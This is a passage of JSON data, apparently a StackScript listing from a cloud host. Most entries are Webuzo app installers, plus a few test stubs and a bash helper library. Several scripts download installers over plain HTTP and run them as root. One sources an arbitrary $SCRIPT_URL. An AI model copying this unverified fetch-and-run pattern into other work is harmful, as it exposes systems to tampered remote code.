/root/webuzo-install.log 2>&1\n \n # Modify Permissions\n chmod 0755 install.sh >> /root/webuzo-install.log 2>&1\n \n # Execute\n ./install.sh >> /root/webuzo-install.log 2>&1\n \n # Clean Up\n rm -rf install.sh >> /root/webuzo-install.log 2>&1\n \n}\n\n#########################################################\n#\tInstalling Plandora and Softaculous Webuzo\n#########################################################\n\ninstall_webuzo_script $WEBUZO_LICENSE_KEY\n\n# Check the return of the above command and display the result accordingly\n\necho \" \"\necho \"-------------------------------------\"\necho \" Installation Completed \"\necho \"-------------------------------------\"\necho \"Congratulations, Plandora has been successfully installed\"\necho \" \"\necho \"You can now configure Plandora and Softaculous Webuzo at the following URL :\"\necho \"http://$ip:2004/\"\necho \" \"\necho \"Thank you for choosing Softaculous Webuzo !\"\necho \" \"", "user_defined_fields": []}, {"id": 9234, "username": "webuzo", "user_gravatar_id": "cf0348f835d60e6d133040f49bb36ec5", "label": "ClientExec powered by Webuzo", "description": "ClientExec offers online help desk software intended to enhance the ability of small and mid-sized hosting businesses to manage help and support issues. Because the online help desk software can be accessed from any web browser, managers and staff can increase the flexibility and effectiveness with which they address client support issues.\r\n\r\nClientExec''s software includes an easy-to-use interface that enhances communication between clients and staff. E-mail messages sent through the online help desk software are automatically routed and tracked, so you don''t have to spend time chasing after lost messages. Support tickets can be quickly sorted, filtered, and assigned to individual team members, ensuring that the tickets are addressed in the most efficient possible manner.\r\n\t\t\t\r\nWebuzo is a Single User Control Panel which helps users deploy Web Apps (WordPress, Joomla, Drupal, etc) or System Apps (Apache, NGINX, PHP, Java, MongoDB, etc) on their virtual machines or in the cloud.\r\n\r\nYou can get a Webuzo License here\r\nhttp://www.webuzo.com/pricing\r\n\r\nPath to Installation Logs : /root/webuzo-install.log\r\n\r\nInstructions\r\nOn completion of the installation process, access http://your-ip:2004 to configure ClientExec and Softaculous Webuzo initially.\r\n\r\nContact : http://webuzo.com/contact", "ordinal": 0, "logo_url": "", "images": ["linode/centos6.8", "linode/ubuntu12.04lts", "linode/ubuntu14.04lts", "linode/centos5.6", "linode/ubuntu10.04lts", "linode/ubuntu10.04lts32bit"], "deployments_total": 0, "deployments_active": 0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note": "ClientExec powered by Webuzo", "script": "#!/bin/bash\n# \n\n###########################################################################################################\n# Install ClientExec and Softaculous Webuzo\n# Description -\n# About Webuzo :\n# Webuzo is a Single User Control Panel which helps users deploy Web Apps (WordPress, Joomla, Drupal, etc)\n# or System Apps (Apache, NGINX, PHP, Java, MongoDB, etc) on their virtual machines or in the cloud.\n#\n# About ClientExec :\n# ClientExec offers online help desk software intended to enhance the ability of small and mid-sized \n# hosting businesses to manage help and support issues.\n# Because the online help desk software can be accessed from any web browser, managers and \n# staff can increase the flexibility and effectiveness with which they address client support issues.\n###########################################################################################################\n\n# Install ClientExec Script using Webuzo\nfunction install_webuzo_script(){\n \n # Install Webuzo\n install_webuzo\n \n wget http://files.webuzo.com/ip.php >> /root/webuzo-install.log 2>&1\n ip=$(cat ip.php)\n \n /usr/local/emps/bin/curl \"http://$ip:2004/install.php?prepareinstall=478&license=$1\"\n \n}\n\n# Install Webuzo Function\nfunction install_webuzo(){\n \n # Fetch the Webuzo Installer\n wget -N http://files.webuzo.com/install.sh >> /root/webuzo-install.log 2>&1\n \n # Modify Permissions\n chmod 0755 install.sh >> /root/webuzo-install.log 2>&1\n \n # Execute\n ./install.sh >> /root/webuzo-install.log 2>&1\n \n # Clean Up\n rm -rf install.sh >> /root/webuzo-install.log 2>&1\n \n}\n\n#########################################################\n#\tInstalling ClientExec and Softaculous Webuzo\n#########################################################\n\ninstall_webuzo_script $WEBUZO_LICENSE_KEY\n\n# Check the return of the above command and display the result accordingly\n\necho \" \"\necho \"-------------------------------------\"\necho \" Installation Completed \"\necho \"-------------------------------------\"\necho \"Congratulations, ClientExec has been successfully installed\"\necho \" \"\necho \"You can now configure ClientExec and Softaculous Webuzo at the following URL :\"\necho \"http://$ip:2004/\"\necho \" \"\necho \"Thank you for choosing Softaculous Webuzo !\"\necho \" \"", "user_defined_fields": []}, {"id": 992786, "username": "cyberpowercoil", "user_gravatar_id": "1057db5c50b8364f45ef903499aafa15", "label": "wisecp Test", "description": "", "ordinal": 0, "logo_url": "", "images": ["linode/alpine3.13", "linode/arch", "linode/debian9-kube-v1.22.2", "linode/ubuntu21.10"], "deployments_total": 0, "deployments_active": 0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note": "", "script": "#!/bin/bash", "user_defined_fields": []}, {"id": 978962, "username": "meenubediShine", "user_gravatar_id": "ac16f37ccd972a6f698dab5aab1188b2", "label": "StackScript Label", "description": "Description", "ordinal": 0, "logo_url": "", "images": ["linode/alpine3.12", "linode/alpine3.13", "linode/alpine3.15"], "deployments_total": 0, "deployments_active": 0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note": "Revision Note 1", "script": "#!/bin/bash\n\nScript", "user_defined_fields": []}, {"id": 9235, "username": "webuzo", "user_gravatar_id": "cf0348f835d60e6d133040f49bb36ec5", "label": "Croogo powered by Webuzo", "description": "Croogo is a free, open source, content management system for PHP. It is powered by CakePHP MVC framework. \r\n\t\t\t\r\nWebuzo is a Single User Control Panel which helps users deploy Web Apps (WordPress, Joomla, Drupal, etc) or System Apps (Apache, NGINX, PHP, Java, MongoDB, etc) on their virtual machines or in the cloud.\r\n\r\nYou can get a Webuzo License here\r\nhttp://www.webuzo.com/pricing\r\n\r\nPath to Installation Logs : /root/webuzo-install.log\r\n\r\nInstructions\r\nOn completion of the installation process, access http://your-ip:2004 to configure Croogo and Softaculous Webuzo initially.\r\n\r\nContact : http://webuzo.com/contact", "ordinal": 0, "logo_url": "", "images": ["linode/centos6.8", "linode/ubuntu12.04lts", "linode/ubuntu14.04lts", "linode/centos5.6", "linode/ubuntu10.04lts", "linode/ubuntu10.04lts32bit"], "deployments_total": 0, "deployments_active": 0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note": "Croogo powered by Webuzo", "script": "#!/bin/bash\n# \n\n###########################################################################################################\n# Install Croogo and Softaculous Webuzo\n# Description -\n# About Webuzo :\n# Webuzo is a Single User Control Panel which helps users deploy Web Apps (WordPress, Joomla, Drupal, etc)\n# or System Apps (Apache, NGINX, PHP, Java, MongoDB, etc) on their virtual machines or in the cloud.\n#\n# About Croogo :\n# Croogo is a free, open source, content management system for PHP. It is powered by CakePHP MVC framework. \n###########################################################################################################\n\n# Install Croogo Script using Webuzo\nfunction install_webuzo_script(){\n \n # Install Webuzo\n install_webuzo\n \n wget http://files.webuzo.com/ip.php >> /root/webuzo-install.log 2>&1\n ip=$(cat ip.php)\n \n /usr/local/emps/bin/curl \"http://$ip:2004/install.php?prepareinstall=443&license=$1\"\n \n}\n\n# Install Webuzo Function\nfunction install_webuzo(){\n \n # Fetch the Webuzo Installer\n wget -N http://files.webuzo.com/install.sh >> /root/webuzo-install.log 2>&1\n \n # Modify Permissions\n chmod 0755 install.sh >> /root/webuzo-install.log 2>&1\n \n # Execute\n ./install.sh >> /root/webuzo-install.log 2>&1\n \n # Clean Up\n rm -rf install.sh >> /root/webuzo-install.log 2>&1\n \n}\n\n#########################################################\n#\tInstalling Croogo and Softaculous Webuzo\n#########################################################\n\ninstall_webuzo_script $WEBUZO_LICENSE_KEY\n\n# Check the return of the above command and display the result accordingly\n\necho \" \"\necho \"-------------------------------------\"\necho \" Installation Completed \"\necho \"-------------------------------------\"\necho \"Congratulations, Croogo has been successfully installed\"\necho \" \"\necho \"You can now configure Croogo and Softaculous Webuzo at the following URL :\"\necho \"http://$ip:2004/\"\necho \" \"\necho \"Thank you for choosing Softaculous Webuzo !\"\necho \" \"", "user_defined_fields": []}, {"id": 20, "username": "nbebout", "user_gravatar_id": "5dd8fb66331617dbbd6f90a10cdd47ac", "label": "Fedora/CentOS Bash Library", "description": "", "ordinal": 0, "logo_url": "", "images": ["linode/centos5.632bit", "linode/centos5.6", "linode/fedora1132bit"], "deployments_total": 0, "deployments_active": 0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note": "", "script": "#!/bin/bash\n\n###########################################################\n# System\n###########################################################\n\nfunction system_update {\n yum -y update\n}\n\nfunction system_primary_ip {\n # returns the primary IP assigned to eth0\n echo $(ifconfig eth0 | awk -F: ''/inet addr:/ {print $2}'' | awk ''{ print $1 }'')\n}\n\nfunction get_rdns {\n # calls host on an IP address and returns its reverse dns\n if [ ! -e /usr/bin/host ]; then\n yum -y install bind-utils > /dev/null\n fi\n echo $(host $1 | awk ''/pointer/ {print $5}'' | sed ''s/\\.$//'')\n}\n\nfunction get_rdns_primary_ip {\n # returns the reverse dns of the primary IP assigned to this system\n echo $(get_rdns $(system_primary_ip))\n}\n\nfunction install_basics {\n yum install -y jwhois rsync openssh-clients wget\n}", "user_defined_fields": []}, {"id": 9236, "username": "webuzo", "user_gravatar_id": "cf0348f835d60e6d133040f49bb36ec5", "label": "WideImage powered by Webuzo", "description": "WideImage is an object-oriented library for image manipulation.\r\n\r\nThe library provides a simple way to loading, manipulating and saving images in the most common image formats. \r\n\r\nWebuzo is a Single User Control Panel which helps users deploy Web Apps (WordPress, Joomla, Drupal, etc) or System Apps (Apache, NGINX, PHP, Java, MongoDB, etc) on their virtual machines or in the cloud.\r\n\r\nYou can get a Webuzo License here\r\nhttp://www.webuzo.com/pricing\r\n\r\nPath to Installation Logs : /root/webuzo-install.log\r\n\r\nInstructions\r\nOn completion of the installation process, access http://your-ip:2004 to configure WideImage and Softaculous Webuzo initially.\r\n\r\nContact : http://webuzo.com/contact", "ordinal": 0, "logo_url": "", "images": ["linode/centos6.8", "linode/ubuntu12.04lts", "linode/ubuntu14.04lts", "linode/centos5.6", "linode/ubuntu10.04lts", "linode/ubuntu10.04lts32bit"], "deployments_total": 0, "deployments_active": 0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note": "WideImage powered by Webuzo", "script": "#!/bin/bash\n# \n\n###########################################################################################################\n# Install WideImage and Softaculous Webuzo\n# Description -\n# About Webuzo :\n# Webuzo is a Single User Control Panel which helps users deploy Web Apps (WordPress, Joomla, Drupal, etc)\n# or System Apps (Apache, NGINX, PHP, Java, MongoDB, etc) on their virtual machines or in the cloud.\n#\n# About WideImage :\n# WideImage is an object-oriented library for image manipulation.\n# The library provides a simple way to loading, manipulating and saving images in the most common image formats.\n###########################################################################################################\n\n# Install WideImage Script using Webuzo\nfunction install_webuzo_script(){\n \n # Install Webuzo\n install_webuzo\n \n wget http://files.webuzo.com/ip.php >> /root/webuzo-install.log 2>&1\n ip=$(cat ip.php)\n \n /usr/local/emps/bin/curl \"http://$ip:2004/install.php?prepareinstall=360&license=$1\"\n \n}\n\n# Install Webuzo Function\nfunction install_webuzo(){\n \n # Fetch the Webuzo Installer\n wget -N http://files.webuzo.com/install.sh >> /root/webuzo-install.log 2>&1\n \n # Modify Permissions\n chmod 0755 install.sh >> /root/webuzo-install.log 2>&1\n \n # Execute\n ./install.sh >> /root/webuzo-install.log 2>&1\n \n # Clean Up\n rm -rf install.sh >> /root/webuzo-install.log 2>&1\n \n}\n\n#########################################################\n#\tInstalling WideImage and Softaculous Webuzo\n#########################################################\n\ninstall_webuzo_script $WEBUZO_LICENSE_KEY\n\n# Check the return of the above command and display the result accordingly\n\necho \" \"\necho \"-------------------------------------\"\necho \" Installation Completed \"\necho \"-------------------------------------\"\necho \"Congratulations, WideImage has been successfully installed\"\necho \" \"\necho \"You can now configure WideImage and Softaculous Webuzo at the following URL :\"\necho \"http://$ip:2004/\"\necho \" \"\necho \"Thank you for choosing Softaculous Webuzo !\"\necho \" \"", "user_defined_fields": []}, {"id": 9237, "username": "webuzo", "user_gravatar_id": "cf0348f835d60e6d133040f49bb36ec5", "label": "HelpDEZk powered by Webuzo", "description": "HelpDEZk is a powerfull software that manages requests/incidents. It has all the needed requirements to an efficient workflow management of all processes involved in service execution. This control is done for internal demands and also for outsourced services.\r\n\r\nHelpDEZk can be used at any company''s area, serving as an support to the shared service center concept, beyond the ability to log all the processes and maintain the request''s history, it can pass it through many approval levels.\r\n\r\nHelpDEZk can put together advanced managing resources with an extremely easy use. Simple and intuitive screens make the day-by-day easier for your team, speeding up the procedures and saving up a lot of time. It is developped in objects oriented PHP language, with the MVC architecture and uses the templates system SMARTY. For the javascripts, JQUERY is used. \r\n\t\t\t\r\nWebuzo is a Single User Control Panel which helps users deploy Web Apps (WordPress, Joomla, Drupal, etc) or System Apps (Apache, NGINX, PHP, Java, MongoDB, etc) on their virtual machines or in the cloud.\r\n\r\nYou can get a Webuzo License here\r\nhttp://www.webuzo.com/pricing\r\n\r\nPath to Installation Logs : /root/webuzo-install.log\r\n\r\nInstructions\r\nOn completion of the installation process, access http://your-ip:2004 to configure HelpDEZk and Softaculous Webuzo initially.\r\n\r\nContact : http://webuzo.com/contact", "ordinal": 0, "logo_url": "", "images": ["linode/centos6.8", "linode/ubuntu12.04lts", "linode/ubuntu14.04lts", "linode/centos5.6", "linode/ubuntu10.04lts", "linode/ubuntu10.04lts32bit"], "deployments_total": 0, "deployments_active": 0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note": "HelpDEZk powered by Webuzo", "script": "#!/bin/bash\n# \n\n###########################################################################################################\n# Install HelpDEZk and Softaculous Webuzo\n# Description -\n# About Webuzo :\n# Webuzo is a Single User Control Panel which helps users deploy Web Apps (WordPress, Joomla, Drupal, etc)\n# or System Apps (Apache, NGINX, PHP, Java, MongoDB, etc) on their virtual machines or in the cloud.\n#\n# About HelpDEZk :\n# HelpDEZk is a powerfull software that manages requests/incidents.\n# It has all the needed requirements to an efficient workflow management of all processes \n# involved in service execution. This control is done for internal demands and also for outsourced services.\n###########################################################################################################\n\n# Install HelpDEZk Script using Webuzo\nfunction install_webuzo_script(){\n \n # Install Webuzo\n install_webuzo\n \n wget http://files.webuzo.com/ip.php >> /root/webuzo-install.log 2>&1\n ip=$(cat ip.php)\n \n /usr/local/emps/bin/curl \"http://$ip:2004/install.php?prepareinstall=457&license=$1\"\n \n}\n\n# Install Webuzo Function\nfunction install_webuzo(){\n \n # Fetch the Webuzo Installer\n wget -N http://files.webuzo.com/install.sh >> /root/webuzo-install.log 2>&1\n \n # Modify Permissions\n chmod 0755 install.sh >> /root/webuzo-install.log 2>&1\n \n # Execute\n ./install.sh >> /root/webuzo-install.log 2>&1\n \n # Clean Up\n rm -rf install.sh >> /root/webuzo-install.log 2>&1\n \n}\n\n#########################################################\n#\tInstalling HelpDEZk and Softaculous Webuzo\n#########################################################\n\ninstall_webuzo_script $WEBUZO_LICENSE_KEY\n\n# Check the return of the above command and display the result accordingly\n\necho \" \"\necho \"-------------------------------------\"\necho \" Installation Completed \"\necho \"-------------------------------------\"\necho \"Congratulations, HelpDEZk has been successfully installed\"\necho \" \"\necho \"You can now configure HelpDEZk and Softaculous Webuzo at the following URL :\"\necho \"http://$ip:2004/\"\necho \" \"\necho \"Thank you for choosing Softaculous Webuzo !\"\necho \" \"", "user_defined_fields": []}, {"id": 10261, "username": "webuzo", "user_gravatar_id": "cf0348f835d60e6d133040f49bb36ec5", "label": "SEOTOASTER powered by Webuzo", "description": "SEOTOASTER is the most advanced SEO content management system out of the box, so your website or Ecommerce store performs to the maximum of its abilities when it comes to organic rankings.\r\n\r\nSEOTOASTER is the most advanced SEO CMS & Ecommerce web site builder.\n\nWebuzo is a Single User Control Panel which helps users deploy Web Apps (WordPress, Joomla, Drupal, etc) or System Apps (Apache, NGINX, PHP, Java, MongoDB, etc) on their virtual machines or in the cloud.\n\nYou can get a Webuzo License here\nhttp://www.webuzo.com/pricing\n\nPath to Installation Logs : /root/webuzo-install.log\n\nInstructions\nOn completion of the installation process, access http://your-ip:2004 to configure SEOTOASTER and Softaculous Webuzo initially.\n\nContact : http://webuzo.com/contact", "ordinal": 0, "logo_url": "", "images": ["linode/centos6.8", "linode/ubuntu12.04lts", "linode/ubuntu14.04lts", "linode/centos5.6", "linode/ubuntu10.04lts", "linode/ubuntu10.04lts32bit"], "deployments_total": 0, "deployments_active": 0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note": "SEOTOASTER powered by Webuzo", "script": "#!/bin/bash\n# \n\n###########################################################################################################\n# Install SEOTOASTER and Softaculous Webuzo\n# Description -\n# About Webuzo :\n# Webuzo is a Single User Control Panel which helps users deploy Web Apps (WordPress, Joomla, Drupal, etc)\n# or System Apps (Apache, NGINX, PHP, Java, MongoDB, etc) on their virtual machines or in the cloud.\n#\n# About SEOTOASTER :\n# SEOTOASTER is the most advanced SEO CMS & Ecommerce web site builder.\n###########################################################################################################\n\n# Install SEOTOASTER Script using Webuzo\nfunction install_webuzo_script(){\n \n # Install Webuzo\n install_webuzo\n \n wget http://files.webuzo.com/ip.php >> /root/webuzo-install.log 2>&1\n ip=$(cat ip.php)\n \n /usr/local/emps/bin/curl \"http://$ip:2004/install.php?prepareinstall=490&license=$1\"\n \n}\n\n# Install Webuzo Function\nfunction install_webuzo(){\n \n # Fetch the Webuzo Installer\n wget -N http://files.webuzo.com/install.sh >> /root/webuzo-install.log 2>&1\n \n # Modify Permissions\n chmod 0755 install.sh >> /root/webuzo-install.log 2>&1\n \n # Execute\n ./install.sh >> /root/webuzo-install.log 2>&1\n \n # Clean Up\n rm -rf install.sh >> /root/webuzo-install.log 2>&1\n \n}\n\n#########################################################\n#\tInstalling SEOTOASTER and Softaculous Webuzo\n#########################################################\n\ninstall_webuzo_script $WEBUZO_LICENSE_KEY\n\n# Check the return of the above command and display the result accordingly\n\necho \" \"\necho \"-------------------------------------\"\necho \" Installation Completed \"\necho \"-------------------------------------\"\necho \"Congratulations, SEOTOASTER has been successfully installed\"\necho \" \"\necho \"You can now configure SEOTOASTER and Softaculous Webuzo at the following URL :\"\necho \"http://$ip:2004/\"\necho \" \"\necho \"Thank you for choosing Softaculous Webuzo !\"\necho \" \"", "user_defined_fields": []}, {"id": 978965, "username": "meenubediShine", "user_gravatar_id": "ac16f37ccd972a6f698dab5aab1188b2", "label": "Testing Update", "description": "testing Update", "ordinal": 0, "logo_url": "", "images": ["linode/alpine3.13", "linode/arch", "linode/debian10", "linode/slackware14.2"], "deployments_total": 0, "deployments_active": 0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note": "yegiu Update", "script": "#!/bin/bash\n\ntesting Update ", "user_defined_fields": []}, {"id": 8470, "username": "ichal", "user_gravatar_id": "632f7c16a5fd3a66b8909e0153856b49", "label": "jibeg", "description": "aa", "ordinal": 0, "logo_url": "", "images": ["linode/centos6.5"], "deployments_total": 0, "deployments_active": 0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note": "Initial import", "script": "#!/bin/bash", "user_defined_fields": []}, {"id": 9238, "username": "webuzo", "user_gravatar_id": "cf0348f835d60e6d133040f49bb36ec5", "label": "Support Incident Tracker powered by Webuzo", "description": "Support Incident Tracker (or SiT!) is a Free Software/Open Source (GPL) web based application which uses PHP and MySQL for tracking technical support calls/emails (also commonly known as a ''Help Desk'' or ''Support Ticket System'').\r\n\r\nManage contacts, sites, technical support contracts and support incidents in one place. Send emails directly from SiT!, attach files and record every communication in the incident log. SiT is aware of Service Level Agreements and incidents are flagged if they stray outside of them. \r\n\t\t\t\r\nWebuzo is a Single User Control Panel which helps users deploy Web Apps (WordPress, Joomla, Drupal, etc) or System Apps (Apache, NGINX, PHP, Java, MongoDB, etc) on their virtual machines or in the cloud.\r\n\r\nYou can get a Webuzo License here\r\nhttp://www.webuzo.com/pricing\r\n\r\nPath to Installation Logs : /root/webuzo-install.log\r\n\r\nInstructions\r\nOn completion of the installation process, access http://your-ip:2004 to configure Support Incident Tracker and Softaculous Webuzo initially.\r\n\r\nContact : http://webuzo.com/contact", "ordinal": 0, "logo_url": "", "images": ["linode/centos6.8", "linode/ubuntu12.04lts", "linode/ubuntu14.04lts", "linode/centos5.6", "linode/ubuntu10.04lts", "linode/ubuntu10.04lts32bit"], "deployments_total": 0, "deployments_active": 0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note": "Support Incident Tracker powered by Webuzo", "script": "#!/bin/bash\n# \n\n###########################################################################################################\n# Install Support Incident Tracker and Softaculous Webuzo\n# Description -\n# About Webuzo :\n# Webuzo is a Single User Control Panel which helps users deploy Web Apps (WordPress, Joomla, Drupal, etc)\n# or System Apps (Apache, NGINX, PHP, Java, MongoDB, etc) on their virtual machines or in the cloud.\n#\n# About Support Incident Tracker :\n# Support Incident Tracker (or SiT!) is a Free Software/Open Source (GPL) web based application which uses\n# PHP and MySQL for tracking technical support calls/emails (also commonly known as a ''Help Desk''\n# or ''Support Ticket System'').\n###########################################################################################################\n\n# Install Support Incident Tracker Script using Webuzo\nfunction install_webuzo_script(){\n \n # Install Webuzo\n install_webuzo\n \n wget http://files.webuzo.com/ip.php >> /root/webuzo-install.log 2>&1\n ip=$(cat ip.php)\n \n /usr/local/emps/bin/curl \"http://$ip:2004/install.php?prepareinstall=409&license=$1\"\n \n}\n\n# Install Webuzo Function\nfunction install_webuzo(){\n \n # Fetch the Webuzo Installer\n wget -N http://files.webuzo.com/install.sh >> /root/webuzo-install.log 2>&1\n \n # Modify Permissions\n chmod 0755 install.sh >> /root/webuzo-install.log 2>&1\n \n # Execute\n ./install.sh >> /root/webuzo-install.log 2>&1\n \n # Clean Up\n rm -rf install.sh >> /root/webuzo-install.log 2>&1\n \n}\n\n#########################################################\n#\tInstalling Support Incident Tracker and Softaculous Webuzo\n#########################################################\n\ninstall_webuzo_script $WEBUZO_LICENSE_KEY\n\n# Check the return of the above command and display the result accordingly\n\necho \" \"\necho \"-------------------------------------\"\necho \" Installation Completed \"\necho \"-------------------------------------\"\necho \"Congratulations, Support Incident Tracker has been successfully installed\"\necho \" \"\necho \"You can now configure Support Incident Tracker and Softaculous Webuzo at the following URL :\"\necho \"http://$ip:2004/\"\necho \" \"\necho \"Thank you for choosing Softaculous Webuzo !\"\necho \" \"", "user_defined_fields": []}, {"id": 928534, "username": "acourdavault", "user_gravatar_id": "66d9a70b3232ec8f2b533584b3299ed8", "label": "db_centos_magic_script", "description": "", "ordinal": 0, "logo_url": "", "images": ["linode/centos7"], "deployments_total": 0, "deployments_active": 0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note": "", "script": "#!/bin/bash\t\n\nexec > /var/log/sg-stackscript.log\nexec 2>&1\t\n\nset -x\ncommand -v wget >/dev/null 2>&1 || yum install -y wget || exit 1\ncommand -v dos2unix >/dev/null 2>&1 || yum install -y dos2unix || exit 1\n\ncd ${HOME}\nSCRIPT=$(basename $SCRIPT_URL)\nrm -f ${SCRIPT}\necho \"Copying ${SCRIPT_URL} to ${HOME}\"\nwget --tries=5 ${SCRIPT_URL} && /usr/bin/dos2unix ${SCRIPT} && . ${SCRIPT}\ncd ${HOME} && rm -f ${SCRIPT}", "user_defined_fields": []}, {"id": 9239, "username": "webuzo", "user_gravatar_id": "cf0348f835d60e6d133040f49bb36ec5", "label": "Webasyst powered by Webuzo", "description": "Webasyst is a free PHP framework for creating sleek multi-user web apps and for building websites. Webasyst offers a multi-app UI ready for integrating and designing your app, handles user authorization, access rights management, routing setup, and much more. Great for creating web solutions for businesses and teams. \r\n\t\t\t\r\nWebuzo is a Single User Control Panel which helps users deploy Web Apps (WordPress, Joomla, Drupal, etc) or System Apps (Apache, NGINX, PHP, Java, MongoDB, etc) on their virtual machines or in the cloud.\r\n\r\nYou can get a Webuzo License here\r\nhttp://www.webuzo.com/pricing\r\n\r\nPath to Installation Logs : /root/webuzo-install.log\r\n\r\nInstructions\r\nOn completion of the installation process, access http://your-ip:2004 to configure Webasyst and Softaculous Webuzo initially.\r\n\r\nContact : http://webuzo.com/contact", "ordinal": 0, "logo_url": "", "images": ["linode/centos6.8", "linode/ubuntu12.04lts", "linode/ubuntu14.04lts", "linode/centos5.6", "linode/ubuntu10.04lts", "linode/ubuntu10.04lts32bit"], "deployments_total": 0, "deployments_active": 0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note": "Webasyst powered by Webuzo", "script": "#!/bin/bash\n# \n\n###########################################################################################################\n# Install Webasyst and Softaculous Webuzo\n# Description -\n# About Webuzo :\n# Webuzo is a Single User Control Panel which helps users deploy Web Apps (WordPress, Joomla, Drupal, etc)\n# or System Apps (Apache, NGINX, PHP, Java, MongoDB, etc) on their virtual machines or in the cloud.\n#\n# About Webasyst :\n# Webasyst is a free PHP framework for creating sleek multi-user web apps and for building websites.\n# Webasyst offers a multi-app UI ready for integrating and designing your app, handles user \n# authorization, access rights management, routing setup, and much more.\n# Great for creating web solutions for businesses and teams. \n###########################################################################################################\n\n# Install Webasyst Script using Webuzo\nfunction install_webuzo_script(){\n \n # Install Webuzo\n install_webuzo\n \n wget http://files.webuzo.com/ip.php >> /root/webuzo-install.log 2>&1\n ip=$(cat ip.php)\n \n /usr/local/emps/bin/curl \"http://$ip:2004/install.php?prepareinstall=467&license=$1\"\n \n}\n\n# Install Webuzo Function\nfunction install_webuzo(){\n \n # Fetch the Webuzo Installer\n wget -N http://files.webuzo.com/install.sh >> /root/webuzo-install.log 2>&1\n \n # Modify Permissions\n chmod 0755 install.sh >> /root/webuzo-install.log 2>&1\n \n # Execute\n ./install.sh >> /root/webuzo-install.log 2>&1\n \n # Clean Up\n rm -rf install.sh >> /root/webuzo-install.log 2>&1\n \n}\n\n#########################################################\n#\tInstalling Webasyst and Softaculous Webuzo\n#########################################################\n\ninstall_webuzo_script $WEBUZO_LICENSE_KEY\n\n# Check the return of the above command and display the result accordingly\n\necho \" \"\necho \"-------------------------------------\"\necho \" Installation Completed \"\necho \"-------------------------------------\"\necho \"Congratulations, Webasyst has been successfully installed\"\necho \" \"\necho \"You can now configure Webasyst and Softaculous Webuzo at the following URL :\"\necho \"http://$ip:2004/\"\necho \" \"\necho \"Thank you for choosing Softaculous Webuzo !\"\necho \" \"", "user_defined_fields": []}, {"id": 9240, "username": "webuzo", "user_gravatar_id": "cf0348f835d60e6d133040f49bb36ec5", "label": "jforum powered by Webuzo", "description": "jforum is a powerful and robust discussion board system implemented in Java. It provides an attractive interface, an efficient forum engine, an easy to use administrative panel, an advanced permission control system and much more. \r\n\t\t\t\r\nWebuzo is a Single User Control Panel which helps users deploy Web Apps (WordPress, Joomla, Drupal, etc) or System Apps (Apache, NGINX, PHP, Java, MongoDB, etc) on their virtual machines or in the cloud.\r\n\r\nYou can get a Webuzo License here\r\nhttp://www.webuzo.com/pricing\r\n\r\nPath to Installation Logs : /root/webuzo-install.log\r\n\r\nInstructions\r\nOn completion of the installation process, access http://your-ip:2004 to configure jforum and Softaculous Webuzo initially.\r\n\r\nContact : http://webuzo.com/contact", "ordinal": 0, "logo_url": "", "images": ["linode/centos6.8", "linode/ubuntu12.04lts", "linode/ubuntu14.04lts", "linode/centos5.6", "linode/ubuntu10.04lts", "linode/ubuntu10.04lts32bit"], "deployments_total": 0, "deployments_active": 0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note": "jforum powered by Webuzo", "script": "#!/bin/bash\n# \n\n###########################################################################################################\n# Install jforum and Softaculous Webuzo\n# Description -\n# About Webuzo :\n# Webuzo is a Single User Control Panel which helps users deploy Web Apps (WordPress, Joomla, Drupal, etc)\n# or System Apps (Apache, NGINX, PHP, Java, MongoDB, etc) on their virtual machines or in the cloud.\n#\n# About jforum :\n# jforum is a powerful and robust discussion board system implemented in Java.\n# It provides an attractive interface, an efficient forum engine, an easy to use administrative\n# panel, an advanced permission control system and much more.\n###########################################################################################################\n\n# Install jforum Script using Webuzo\nfunction install_webuzo_script(){\n \n # Install Webuzo\n install_webuzo\n \n wget http://files.webuzo.com/ip.php >> /root/webuzo-install.log 2>&1\n ip=$(cat ip.php)\n \n /usr/local/emps/bin/curl \"http://$ip:2004/install.php?prepareinstall=423&license=$1\"\n \n}\n\n# Install Webuzo Function\nfunction install_webuzo(){\n \n # Fetch the Webuzo Installer\n wget -N http://files.webuzo.com/install.sh >> /root/webuzo-install.log 2>&1\n \n # Modify Permissions\n chmod 0755 install.sh >> /root/webuzo-install.log 2>&1\n \n # Execute\n ./install.sh >> /root/webuzo-install.log 2>&1\n \n # Clean Up\n rm -rf install.sh >> /root/webuzo-install.log 2>&1\n \n}\n\n#########################################################\n#\tInstalling jforum and Softaculous Webuzo\n#########################################################\n\ninstall_webuzo_script $WEBUZO_LICENSE_KEY\n\n# Check the return of the above command and display the result accordingly\n\necho \" \"\necho \"-------------------------------------\"\necho \" Installation Completed \"\necho \"-------------------------------------\"\necho \"Congratulations, jforum has been successfully installed\"\necho \" \"\necho \"You can now configure jforum and Softaculous Webuzo at the following URL :\"\necho \"http://$ip:2004/\"\necho \" \"\necho \"Thank you for choosing Softaculous Webuzo !\"\necho \" \"", "user_defined_fields": []}, {"id": 48408, "username": "crooksau", "user_gravatar_id": "f33d8e66bbce5c95fcb2a96dc8a4beaa", "label": "Debian 8 Install", "description": "Debian 8 Install for BODYRUBS.RU", "ordinal": 0, "logo_url": "", "images": ["linode/debian8"], "deployments_total": 0, "deployments_active": 0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05", "updated": 